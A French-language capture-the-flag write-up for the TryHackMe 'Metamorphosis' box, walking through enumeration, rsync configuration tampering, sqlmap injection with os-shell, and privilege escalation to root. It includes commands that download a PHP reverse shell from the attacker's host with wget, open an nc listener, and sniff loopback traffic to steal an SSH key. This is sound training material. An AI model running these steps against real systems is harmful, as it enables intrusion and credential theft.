Metamorphosis - Write Up

Metamorphosis est un ctf de TryHackMe noté comme medium. rsync, sqlmap, et tcpdump sont les principales notions à connaitre ou à apprendre pour cette box.

Enumération

Pour commencer, il faut connaitre les ports qui sont ouverts. 

Commande :

nmap -T5 -p- 10.10.81.126

 

Il y a 5 ports ouverts qu’il faut en principe tous énumérer. Pour cette box, on va surtout s’intéresser au port 80 et 873.

Enumération Web

Il existe de nombreux outils qui permettent de lister les répertoires d’un site web. D’une manière générale, j’utilise Gobuster bien qu’auparavant j’utilisais Dirbuster

Commande :

gobuster dir -u http://10.10.81.126 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

Il n’y a qu’un seul répertoire qui ressort du scan, /admin, malheureusement on ne peut y accèder. On va refaire un scan avec Gobuster mais cette fois à partir de /admin.

Commande :

gobuster dir -u http://10.10.81.126/admin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

 

Cette fois-ci on a deux pages web qui ressortent :

    • /index.php
    • /config.php

En allant sur la page http://10.10.253.175/admin/index.php, on tombe sur 403 Forbidden, mais si on affiche la source de la page, on tombe sur un message. 

Le message nous demande de nous assurer qu’admin soit sur l’environnement development.

On peut penser alors que le message fait référence à la page /admin que l’on a vu plus haut. 

Il n’y a pas plus d’information à énumérer sur le port 80. On va continuer sur le port 873 qui héberge rsync

Enumération rsync

1ier étape : test la connexion sur rsync avec nc

nc -vn 10.10.81.126 873

Lors de la connexion on arrive sur ce message @RSYNCD: 31.0

Il faut taper le message @RSYNCD: 31.0

Comme il n’y a pas de message d’erreur ou d’interdiction, on peut donc sans problème interagir avec rsync.

La commande #list permet de lister les éléments contenu dans rsync

L’étape suivante consiste à récupérer le contenu de Conf

Commande :

nmap -sV –script ″rsync-list-modules″ -p 873 10.10.81.126

Récupération des fichiers :

Commande :

rsync -avzh rsync://10.10.79.77/Conf .

Parmi les différents fichiers de configuration, le dernier de la liste webapp.ini contient des identifiants et une sorte de configuration.

Si on se rappelle du message sur la page http://10.10.253.175/admin/index.php . Il nous disait de passer sur l’environnement dev pour accèder à admin. On va donc mettre dev à la place de prod.

Une fois modifier et enregistrer, il faut upload le fichier via rsync

Upload des fichiers :

rsync -av /root/trytohackme/Metamorphosis/rsync2/webapp.ini  rsync://10.10.253.175/Conf/webapp.ini

 

Une fois le fichier bien upload, il faut réactualiser la page web /admin. On doit arriver sur cette page :

Il n’y a rien ou pas grand-chose à faire sur cette page. Aucune information n’apparait utilisable. Il faut tenter de faire une injection sql. Pour cela on va utiliser sqlmap.

Sqlmap

J’utilise BurpSuite pour récupérer la requête qui est effectuée lorsque l’on clique sur « Submit Query ». Ensuite, je l’intègre à la ligne de commande sqlmap avec l’option -r 

Etape 1 : Vérifier si le site est vulnérable a l’injection SQL (SQLi):

sqlmap -r meta.req –level 5 –risk 3

Etape 2 : Récupération des databases

sqlmap -r meta.req –level 5 –risk 3 –dbms=mysql –dbs

 

Etape 3 : énumérations des tables de la databases db

sqlmap -r meta.req –level 5 –risk 3 –dbms=mysql -D db  –tables

Etape 4 : Dump de la base de données users

sqlmap -r meta.req –level 5 –risk 3 –dbms=mysql -D db  -T users -dump

 

Super, toutes les commandes sont bien passées, mais on a récupéré des identifiants que l’on a déjà et qui ne serve à rien.

Dernière chose à tenter sur sqlmap, c’est os-shell

Commande :

sqlmap -r meta.req –level 5 –risk 3 –dbms=mysql -D db  –os-shell

 

Avec os-shell, on se retrouve dans la même position qu’un reverse_shell. Toutefois, on ne peut pas changer de dossier. En revanche on peut uploader un reverse_shell en PHP. C’est qu’on va faire.

On va utiliser le reverse_shell proposé par Pentestmonkey a cette adresse.

Le site explique les modifications à effectuer. ( en gros, il faut modifier l’adresse IP et le port au niveau des commentaires « CHANGE THIS » )

Pour le transférer, il faut mettre un serveur web avec Python

python3.9 -m http.server

et sur le sqlmap shell, il faut télécharger le reverse_shell avec cette commande :

wget http://10.9.7.79:8000/shell.php

Activation reverse shell :

Pour activer le reverse, il faut se rendre sur l’adresse suivante :

http://10.10.161.23/shell.php

Explication :

sqlmap nous a amené dans le dossier /var/www/html. On peut voir d’ailleurs que l’on trouve admin dans le répertoire. La copie de notre shell s’est effectuer dans ce dossier, donc on peut l’exécuter au travers du site web.

Avant de l’exécuter, il faut bien sur mettre un écouteur nc en route sur le port que vous avez choisi dans le reverse shell.

nc -nlvp 1234

Initial Foothold

On est sur le compte www-data. Avant de commencer à énumérer, il faut upgrader le shell. Pour cela, je vous invite à regarder ce tutoriel.

Le flag user.txt peut être récupéré avec le compte www-data.

Il est possible de passer sur le compte de tom, même s’il ne donne pas plus de possibilité. Je vous laisse deviner le mot de passe, c’est très simple.

Pour l’énumération, j’utilise linpeas ( disponible a cette adresse  )

Son exécution nous montre deux choses :

  • On peut écouter le trafic avec tcpdump
  • Il y a un port 1027 en coute sur le localhost ( 127.0.0.1 )

Ce que je fais également, quand il n’y a pas trop d’information ou pas d’ailleurs, c’est de voir si qui se passe en temps réel sur le système avec pspy disponible ici

Il faut lui donner les droits d’exécution avec cette commande :

chmod +x pspy32

puis faire ./pspy32 pour l’exécuter. Il faut le laisser au moins 2 minutes, voir 5. Il peut arriver que rien ne se passe.

Pour le cas de cette box, toutes les 2 minutes, il y une tâche planifiée qui s’exécute.

Avant de voir ce qui se trouve sur le port 1027, on va écouter avec tcpdump le localhost. Puisqu’on a la possibilité de le faire autant en profiter.

Commande :

tcpdump -i lo

 

La aussi toutes les deux minutes, il y a une activité. On va l’enregistrer et la lire avec Wireshark.

Commande :

tcpdump -i lo -w file.cap

 

Pour lire le fichier, il faut l’ouvrir dans Wireshark ( par le menu fichier/ouvrir)

Escalade de privèlege

Pour votre  les informations qui ont pu être échangé, il faut sélectionner l’un des lignes ( n’importe laquelle ), clic droit puis suivre puis sélectionner flux TCP. En anglais, c’est Follow tcp stream. Dans la fenêtre qui s’ouvre on tombe sur une magnifique clé ssh.

La suite est très simple. Il faut copier/coller la clé dans un fichier avec Vim par exemple. Une fois enregistré, il faut lui donner des droits particulier à savoir :

chmod 600 id_rsa ( ou le nom que vous avez donné au fichier )

Puis effectuer une connexion ssh avec cette commande :

ssh root@10.10.79.77 -i id_rsa

That’s all folks!!!!